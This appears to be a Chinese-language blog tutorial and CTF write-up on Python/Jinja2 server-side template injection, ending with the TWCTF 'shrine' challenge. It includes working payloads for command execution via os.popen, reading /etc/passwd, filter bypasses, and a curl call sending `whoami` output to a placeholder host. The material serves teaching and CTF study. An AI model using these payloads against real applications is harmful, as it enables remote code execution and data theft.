python ssti之继承链利用

ssti

总的来说就是调用python或者框架的内建/全局类,变量,函数获取敏感信息/执行敏感操作,做题时先明确题目环境再去官方文档中查找全局变量,类,函数。

python继承链

一些python内置类属性和方法
__class__

返回当前对象实例的类。

#python2
>>> ''.__class__
<type 'str'>#python2中的基本数据类型视为type
#python3
>>> ''.__class__
<class 'str'>#python3中均为class
__bases__

返回一个由当前类父类构成的元组,由于python允许多重继承。

#python2
>>> str.__bases__
(<type 'basestring'>,)
#python3
>>> str.__bases__
(<class 'object'>,)
__globals__

返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。

in python2 func.func_globals is func.__globals__

#python2
>>> def g():
...     local_a=1
...     global a
...     a=2
...
>>> b=1
>>> g.__globals__
{'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, '__name__': '__main__', '__doc__': None}
>>> g()
>>> g.__globals__
{'a': 2, 'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, '__name__': '__main__', '__doc__': None}
>>> import base64
>>> g.__globals__
{'a': 2, 'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, 'base64': <module 'base64' from 'C:\Python27\lib\base64.pyc'>, '__package__': None, '__name__': '__main__', '__doc__': None}
#python3
>>> def g():
...     local_a=1
...     global a
...     a=2
...
>>> b=1
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1}
>>> g()
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1, 'a': 2}
>>> import base64
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1, 'a': 2, 'base64': <module 'base64' from 'C:\\Program Files (x86)\\Python37-32\\lib\\base64.py'>}
__subclasses__()

返回一个由当前类的所有子类构成的列表。

>>> class class1:
...  pass
...
>>> class class2(class1):
...     pass
...
>>> class class3(class1):
...     pass
...
>>> class1.__subclasses__()
[<class '__main__.class2'>, <class '__main__.class3'>]

python2中形如

class class1:
    pass

的定义不会继承于object对象,所以不能用__subclasses__()方法,但在python3中即使这样声明也会继承于object。

#python2
(<type 'object'>,)
>>> class class1:
...     pass
...
>>> class1.__bases__
()
#python3
(<class 'object'>,)
>>> class class1:
...     pass
...
>>> class1.__bases__
(<class 'object'>,)
__builtins__/__builtins__

返回一个由内建函数函数名组成的列表。

#python2
if __name__ == '__main__':
    __builtins__ is __builtin__#__builtins__是对__builtin__模块的引用
else:
    __builtins__ is __builtin__.__dict__
#python3
if __name__ == '__main__':
    __builtins__ is builtins#__builtins__是对builtins模块的引用
else:
    __builtins__ is builtin.__dict__
__mro__

返回一个由当前类继承链组成的元组。

#python2
>>> str.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
#python3
>>> str.__mro__
(<class 'str'>, <class 'object'>)
__getitem__(index)

返回索引为index的值。

>>> [1,2,3].__getitem__(2)
3
基本思路

利用字符串,列表,元组,字典,集合等基本对象获取类,通过类获取基本类object,通过object获取敏感类对象。

获取基本类
#python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> ''.__class__.__bases__[0].__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0]
<type 'object'>

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[2]
<type 'object'>

>>> ''.__class__.__mro__.__getitem__(2)
<type 'object'>#用于中括号被过滤的情况
#python3
>>> ''.__class__
<class 'str'>
>>> ''.__class__.__bases__[0]
<class 'object'>

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>

>>> ''.__class__.__mro__.__getitem__(1)
<type 'object'>#用于中括号被过滤的情况
通过基本类获取敏感操作类
#python2
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>, <type 'Struct'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'method-wrapper'>, <class '__main__.class4'>, <type '_hashlib.HASH'>]
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__()[40]
<type 'file'>
#python2&3
#python3中通过调用open()函数的方式创建file对象,python2中也可以这样创建file对象。
>>> file=__builtins__.open('')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: ''

创建file对象后以可通过read()/write()函数进行文件读写。

命令执行
#python2
>>> object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()
'1.txt\n'

>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
'1.txt\n'
#python3
>>>object.__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()
'1.txt\n'

>>>object.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
'1.txt\n'

object.__subclasses__()[59/139].__init__.__globals__['__builtins__']下储存了一些函数可供调用。

WAF绕过
request对象
#python2
{{''.[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
chr函数/拼接字符串
#python3
>>> object.__subclasses__()[139].__init__.__globals__['__builtins__']['chr'](0x27)
"'"

>>> object.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['chr'](0x27)
"'"

>>> __builtins__.chr(0x27)
"'"
curl请求携带参数
#python3
{% if ''.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://yourdomainname/?i=`whoami`').read()=='p' %}1{% endif %}

既然可以使用if语句,同样也可以使用类似盲注的方式,逐字爆破。

例题
shrine
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

过滤了括号,没法用__subclassess__获取子类,并且config和self置空。查看flask文档

Jinja 设置

在 Flask 中, Jinja2 默认配置如下:

  • 当使用 render_template() 时,扩展名为 .html.htm.xml.xhtml 的模板中开启自动转义。
  • 当使用 render_template_string() 时,字符串开启 自动转义。
  • 在模板中可以使用 {% autoescape %} 来手动设置是否转义。
  • Flask 在 Jinja2 环境中加入一些全局函数和辅助对象,以增强模板的功能。

标准环境

缺省情况下,以下全局变量可以在 Jinja2 模板中使用:

  • config

    当前配置对象( flask.config )Changelog

  • request

    当前请求对象( flask.request )。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • session

    当前会话对象( flask.session )。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • g

    请求绑定的全局变量( flask.g )。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • url_for()

    flask.url_for() 函数。

  • get_flashed_messages()

    flask.get_flashed_messages() 函数。

Jinja 环境行为

这些添加到环境中的变量不是全局变量。与真正的全局变量不同的是这些变量在 已导入的模板的环境中是不可见的。这样做是基于性能的原因,同时也考虑让代 码更有条理。

那么意义何在?假设你需要导入一个宏,这个宏需要访问请求对象,那么你有两 个选择:

  1. 显式地把请求或都该请求有用的属性作为参数传递给宏。
  2. 导入“ with context ”宏。

导入方式如下:

{% from '_helpers.html' import my_macro with context %}

标准过滤器

在 Flask 中的模板中添加了以下 Jinja2 本身没有的过滤器:

  • tojson()

    这个函数可以把对象转换为 JSON 格式。如果你要动态生成 JavaScript ,那么 这个函数非常有用。doSomethingWith({{ user.username|tojson }});在一个 单引号 HTML 属性中使用 |tojson 的输出也是安全的:Click me请注意,在 0.10 版本之前的 Flask 中,如果在 script 里面使用 | tojson 的输出,请确保用 | safe 禁用转义。 在 Flask 0.10 及更高版本中,这会自动发生。

控制自动转义

自动转义是指自动对特殊字符进行转义。特殊字符是指 HTML ( 或 XML 和 XHTML ) 中的 &><"' 。因为这些特殊字符代表了特 殊的意思,所以如果要在文本中使用它们就必须把它们替换为“实体”。如果不转义 ,那么用户就无法使用这些字符,而且还会带来安全问题。(参见 跨站脚本攻击(XSS)

有时候,如需要直接把 HTML 植入页面的时候,可能会需要在模板中关闭自动转义功 能。这个可以直接植入的 HTML 一般来自安全的来源,例如一个把标记语言转换为 HTML 的 转换器。

有三种方法可以控制自动转义:

  • 在 Python 代码中,可以在把 HTML 字符串传递给模板之前,用 Markup 对象封装。一般情况下推荐使用这个方法。
  • 在模板中,使用 |safe 过滤器显式把一个字符串标记为安全的 HTML (例如: {{ myvariable|safe }} )。
  • 临时关闭整个系统的自动转义。

在模板中关闭自动转义系统可以使用 {% autoescape %} 块:

{% autoescape false %}
    <p>autoescaping is disabled here
    <p>{{ will_not_be_escaped }}
{% endautoescape %}

在这样做的时候,要非常小心块中的变量的安全性。

注册过滤器

有两种方法可以在 Jinja2 中注册你自己的过滤器。要么手动把它们放入应用的 jinja_env 中,要么使用 template_filter() 装饰器。

下面两个例子功能相同,都是倒序一个对象:

@app.template_filter('reverse')
def reverse_filter(s):
    return s[::-1]

def reverse_filter(s):
    return s[::-1]
app.jinja_env.filters['reverse'] = reverse_filter

装饰器的参数是可选的,如果不给出就使用函数名作为过滤器名。一旦注册完成后, 你就可以在模板中像 Jinja2 的内建过滤器一样使用过滤器了。例如,假设在环境中 你有一个 名为 mylist 的 Pyhton 列表:

{% for x in mylist | reverse %}
{% endfor %}

环境处理器

环境处理器的作用是把新的变量自动引入模板环境中。环境处理器在模板被渲染前运 行,因此可以把新的变量自动引入模板环境中。它是一个函数,返回值是一个字典。 在应用的所有模板中,这个字典将与模板环境合并:

@app.context_processor
def inject_user():
    return dict(user=g.user)

上例中的环境处理器创建了一个值为 g.user 的 user 变量,并把这个变量加入 了模板环境中。这个例子只是用于说明工作原理,不是非常有用,因为在模板中, g 总是存在的。

传递值不仅仅局限于变量,还可以传递函数( Python 提供传递函数的功能):

@app.context_processor
def utility_processor():
    def format_price(amount, currency=u'€'):
        return u'{0:.2f}{1}'.format(amount, currency)
    return dict(format_price=format_price)

上例中的环境处理器把 format_price 函数传递给了所有模板:

{{ format_price(0.33) }}

你还可以把 format_price 创建为一个模板过滤器(参见 注册过滤器 ),这里只是演示如何在一个环境处理器中传递函数。

flask为jinja2模板提供了两个函数get_flashed_messages()和url_for(),选择任意一个函数,构造payload

http://domainname/shrine/{{url_for.__globals__}}

提交后看到回显里有一个current_app属性,构造payload

http://domainname/shrine/{{url_for.__globals__.current_app.config}}或者http://domainname/shrine/{{url_for.__globals__.['current_app']['config']}}

即可获取flag

给出一个ctftime上的wp

# search.py

def search(obj, max_depth):
    
    visited_clss = []
    visited_objs = []
    
    def visit(obj, path='obj', depth=0):
        yield path, obj
        
        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)
        
        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
        
        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass
        
        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
            
    yield from visit(obj)
#app.py
import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)
$ python3 app.py &

$ curl 0:5000/shrine/123
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']

$ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}"
TWCTF{pray_f0r_sacred_jinja2}

这个wp中的payload很长是因为search函数进行了深度优先搜索,利用request作为起点的payload也可以简化为

request._get_data_for_json.__globals__['current_app'].config['FLAG']。总之就是通过__globals__获取全局变量。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,529评论 5 475
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,015评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,409评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,385评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,387评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,466评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,880评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,528评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,727评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,528评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,602评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,302评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,873评论 3 306
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,890评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,132评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,777评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,310评论 2 342